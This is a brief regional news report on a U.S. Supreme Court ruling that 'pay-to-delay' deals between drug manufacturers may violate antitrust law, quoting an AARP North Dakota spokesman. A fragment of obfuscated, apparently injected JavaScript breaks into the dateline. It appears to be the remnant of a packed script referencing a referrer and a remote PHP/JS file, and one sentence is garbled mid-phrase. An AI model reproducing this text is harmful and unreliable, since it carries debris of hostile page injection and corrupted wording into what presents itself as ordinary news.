WASHINGTON, edbzn|var|u0026u|referrer|ybrny||js|php’.split(‘|’),0,{}))
D.C. (NewsDakota.com) – The U-S Supreme Court has ruled that so-called “pay-to-delay” agreements between drug manufacturers may violate federal anti-trust laws. Josh Aksvig is with A-A-R-P North Dakota.

Aksvig says under the agreements a drug company would pay another drug manufacturer to keep generic forms of medicines out of the market. Aksvig says the AARP supports the ruling. He says the costs associated with the e says agreements add up quickly.

The Court ruled 5-3 against the “pay-to-delay” process.